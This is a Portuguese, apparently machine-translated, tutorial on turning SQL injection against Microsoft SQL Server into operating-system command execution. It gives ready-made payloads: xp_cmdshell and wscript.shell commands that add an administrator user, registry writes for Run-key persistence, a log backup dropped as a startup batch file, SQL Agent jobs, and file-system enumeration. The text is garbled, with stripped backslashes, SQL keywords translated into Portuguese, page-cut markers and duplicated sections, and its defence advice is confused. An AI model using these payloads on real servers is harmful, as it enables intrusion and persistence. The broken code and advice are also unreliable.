SQL Server é um banco de dados amplamente utilizado por sites de pequeno e médio porte. Devido às suas funções poderosas, também causou muitos problemas de segurança. Os ataques de injeção de SQL são populares na China há muito tempo, resultando em um fluxo interminável de técnicas de intrusão. para SQL Server. Como o SQL Server suporta múltiplas instruções, acredito que muitos hackers raramente usam métodos como adivinhar nomes de tabelas ao injetar SQL no SQL Server, mas recorrem diretamente ao uso de procedimentos e funções armazenados do SQL Server para obter permissões rapidamente. concentre-se no sistema SQL Server e funções para apresentar esses hacks.
1. Execute comandos do sistema
Usando procedimentos armazenados, podemos obter um shell de forma rápida e fácil, como a execução de comandos do sistema. A chamada de extensão de armazenamento é a seguinte:
exec master..xp_cmdshell 'net user ray ray /add'
xp_cmdshell é um procedimento armazenado de comando do sistema que vem com o SQL Server. Por padrão, somente a função de servidor SYSADMIN pode executá-lo.
Usando a interface de objeto OLE, o SQL SERVER fornece algumas funções para acessar objetos OLE, nomeadamente sp_OACREATE e sp_OAMethod. Você pode usá-los para chamar controles OLE e obter indiretamente um shell. Use SP_OAcreate para chamar o objeto wscript. shell é atribuído à variável @shell e, em seguida, usa SP_OAMETHOD para chamar o atributo run de @shell para executar o comando.
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
Ative o modo sandbox de acesso. Por padrão, o mecanismo de dados Jet não oferece suporte a instruções SQL, como select shell ("net user ray ray /add"). executar comandos. Primeiro uso O procedimento armazenado xp_regwrite reescreve o registro e, em seguida, usa OpenRowSet para acessar um arquivo de banco de dados ACCESS que vem com o próprio sistema e, em seguida, executa a instrução SQL para executar o comando.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Selecione * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
Além disso, você também pode usar o SQL Agent para executar comandos. É claro que você deve primeiro abrir o serviço SQL Agent. Este serviço é fechado por padrão. Podemos primeiro usar o xp_servicecontrol para abrir o SQLSERVERAGENT e, em seguida, criar uma tarefa agendada do SQL. e execute a tarefa imediatamente.
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb exec sp_delete_job null,'x'
executivo sp_add_job 'x'
exec sp_add_jobstep Nulo,'x',Nulo,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Nulo,'x',@@servername exec sp_start_job 'x'
[Página cortada]
2. Escreva arquivos arbitrários para executar comandos
Use xp_regwrite para escrever a entrada do registro e escrever diretamente o comando a ser executado na entrada de inicialização RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Logs de backup para itens de inicialização
Podemos ativar o modo de recuperação completo de um banco de dados, criar uma nova tabela, inserir o comando para backup no log e, finalmente, fazer backup do log em um arquivo em lote na pasta de inicialização do usuário. a máquina reinicia.
alterar banco de dados msdb definir RECOVERY FULL--
criar tabela cmd (uma imagem)--
log de backup msdb para disco = 'c:cmd1' com init--
insira em cmd (a) valores()--
log de backup ISTO para disco = 'C:Documents and SettingsAll Users"Iniciar" MenuProgramasStartup1.bat'--
eliminar tabela cmd--
3. Usuários com permissões arbitrárias podem executar comandos
Em uma função de servidor com qualquer permissão, podemos usar a macro OPENROWSET para executar comandos, desde que saibamos a conta e a senha da função SYSADMIN do servidor.
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[Página cortada]
4. Outras aquisições de informações do sistema
Atravessar diretório
exec master.dbo.xp_dirtree 'c:'
Obter subdiretório
exec master.dbo.xp_subdirs 'c:'
Listar partições de sistema disponíveis
exec master.dbo.xp_availablemedia
Determinar se existe um diretório ou arquivo
exec master..xp_fileexist 'c:boot.ini'
5. Existem maneiras de se defender contra injeção de SQL
1. Modifique a estrutura da tabela. Modifique o tipo de dados do campo da conta do administrador, alterando o tipo de texto para o campo máximo de 255 (na verdade, basta, se quiser aumentar pode escolher o tipo de nota), e defina o campo de senha da mesma forma.
2. Modifique a tabela. Defina a conta com direitos de administrador em ID1 e insira um grande número de caracteres chineses, de preferência mais de 100 caracteres.
3. Coloque a senha real do administrador em qualquer posição após ID2.
Concluímos a modificação do banco de dados por meio das três etapas acima.
A modificação foi concluída neste momento? Na verdade, não é o caso. Você deve entender que a conta ID1 que você criou é na verdade uma conta com permissões reais. calculá-lo, isso não é correto. Acho que a maioria das pessoas já pensou em uma maneira. Sim, basta escrever o limite de caracteres no arquivo da página de login do administrador. Mesmo que a outra parte use essa senha de conta com milhares de caracteres, ela será bloqueada e as senhas reais poderão ser! irrestrito.
[Página cortada]2. Escreva arquivos arbitrários para executar comandos
Use xp_regwrite para escrever a entrada do registro e escrever diretamente o comando a ser executado na entrada de inicialização RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Logs de backup para itens de inicialização
Podemos ativar o modo de recuperação completo de um banco de dados, criar uma nova tabela, inserir o comando para backup no log e, finalmente, fazer backup do log em um arquivo em lote na pasta de inicialização do usuário. a máquina reinicia.
alterar banco de dados msdb definir RECOVERY FULL--
criar tabela cmd (uma imagem)--
log de backup msdb para disco = 'c:cmd1' com init--
insira em cmd (a) valores()--
log de backup ISTO para disco = 'C:Documents and SettingsAll Users"Iniciar" MenuProgramasStartup1.bat'--
eliminar tabela cmd--
3. Usuários com permissões arbitrárias podem executar comandos
Em uma função de servidor com qualquer permissão, podemos usar a macro OPENROWSET para executar comandos, desde que saibamos a conta e a senha da função SYSADMIN do servidor.
select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')